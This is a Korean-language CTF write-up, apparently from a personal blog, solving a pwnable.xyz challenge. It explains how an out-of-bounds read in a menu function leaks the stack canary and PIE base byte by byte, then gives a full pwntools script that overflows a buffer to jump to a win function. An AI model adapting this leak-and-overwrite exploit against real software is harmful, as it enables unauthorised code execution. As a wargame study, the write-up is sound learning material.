문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro |
Analysis
Check Mitigation
보호 기법이 전부 다 걸려있다. 엄청 간단하거나, 카나리 릭이나 파이릭을 해야하는 그런 문제일 수도 있다.
Execution
처음에 이 문제보고 FSB 문제일려나? 싶었는데 아니었다.ㅎ
Code
노란색
admin은 전역변수이다.
admin 위치에 뭔갈 넣고 저 메뉴를 선택하면 win함수(flag 출력)이 호출이 될 것이다.
빨간색
scanf에서 bof가 터지고 2번 메뉴에서 나의 인풋을 출력해준다.
그래서 여기서 카나리 릭도하고 파이 릭도하고,, RET를 덮자~ 라고 생각했다.
하지만 문자열을 입력받을때 마지막에 NULL도 같이 붙어버린다. OMG
그래서 다른 방법을 찾아야 했다.
주황색
get_choice 함수를 분석해보자.
스포를 하자면 여기서 카나리와 파이 주소를 다 릭할 수 있다.
rbp-0x13에 getchar()한 값이 들어가는데, byte ptr ~ 로 한 바이트만 eax에 넣는다.
그리고 sub 명령을 한다.
문자를 ㄹㅇ 숫자로 바꾸는 느낌이랄까..?
아무튼 빼면은 0x2가 된다.
그리고 위의 행위를 한다.
[rbp+rax-0x12] ??
최종적으로 이 값이 리턴되게 되는 값이다.
이걸 이용해서 카나리와 파이 주소를 릭할 수 있다.
잘못 입력하면 254..? 란 값이 나온다. F의 아스키 코드 값도 아니다..
이 값은 get_choice에서 0x30을 빼내면서 생긴 값이다.
우린 get_choice 함수에서 저 카나리 값과 파이 주소를 한 바이트씩 릭할 수 있다.
먼저 카나리..
0xb + 0x30 = 59 ( ; )
;를 입력하면, get_choice 함수 안에 들어가서, -0x30이 되게 될 것이다.
그럼 0xb가 될 것이고,
$rbp+0xb-0x12 을 수행하게 될 것이다.
0x83이 eax에 들어가게 되겠지? 그리고 이게 반환값이 된다.
그럼 이렇게 131이란 값은 유효하지 않다며 Error가 뜬다. (다행히 종료 안되고 다시 메뉴 불러와서 선택할 수 있다.)
131은 hex값으로 0x83이고, 얘는 카나리 값의 두번째 바이트이다.
우리는 이런식으로 카나리를 한바이트씩 릭을 할 수 있고,
마찬가지로 pie 주소도 릭을 할 수 있다.
canary를 릭할 때는 ; < = > ? @ A 이런 문자를 넣어서 한 바이트씩 릭할 수 있고,
pie 주소는 J K L M N O 를 넣어서 한 바이트씩 릭을 할 수 있다.
그리고 canary와 pie 주소를 릭했다면
payload = 'A'더미 + canary + SFP + win주소
이런식으로 payload를 구성해서 message를 입력할때 (scanf) RET를 덮을 수 있다.
Exploit Scenario
- 한 바이트씩 canary leak
- 한 바이트씩 pie leak
- BOF
Get Flag!
from pwn import *
#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30017)
e = ELF('./challenge')
p.sendlineafter('Message: ', 'A')
canary_leak_list = [';', '<', '=', '>', '?', '@', 'A']
canary = '\x00'
for i in canary_leak_list:
p.sendlineafter('> ', i)
canary += chr(int(p.recvline().split(' ')[1]))
#canary += '\x00'
log.info('canary = ' +canary.encode('Hex'))
pause()
pie_leak_list = ['J', 'K', 'L', 'M', 'N', 'O']
pie_leak = '0x'
for i in pie_leak_list[::-1]:
p.sendlineafter('> ', i)
tmp = int(p.recvline().split(' ')[1], 10)
pie_leak += hex(tmp)[2:]
log.info('pie_leak = ' + pie_leak)
pie_leak = int(pie_leak, 16)
pie_base = pie_leak - 0xb30
log.info('pie_base = ' + hex(pie_base))
win = pie_base + 0xaac
payload = ''
payload += 'A' * (0x30-0x8)
payload += canary
payload += 'B' * 8
payload += p64(win)
p.sendlineafter('> ', '1')
pause()
p.sendlineafter('Message: ', payload)
p.sendlineafter('> ', '0')
#pause()
p.interactive()
카나리 거꾸로 출력되는 것처럼 보이지만, 실제로는 잘 들어간다.
'WAR GAME > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] child 풀이 (type confusion) (0) | 2021.06.28 |
---|---|
[pwnable.xyz] bookmark 풀이 (logic bug로 인한 overflow?) (0) | 2021.06.10 |
[pwnable.xyz] badayum 풀이 (pie leak, canary leak) (0) | 2021.06.02 |
[pwnable.xyz] Dirty Turtle 풀이 (*) (0) | 2021.06.01 |
[pwnable.xyz] Jmp table풀이 (OOB) (0) | 2021.06.01 |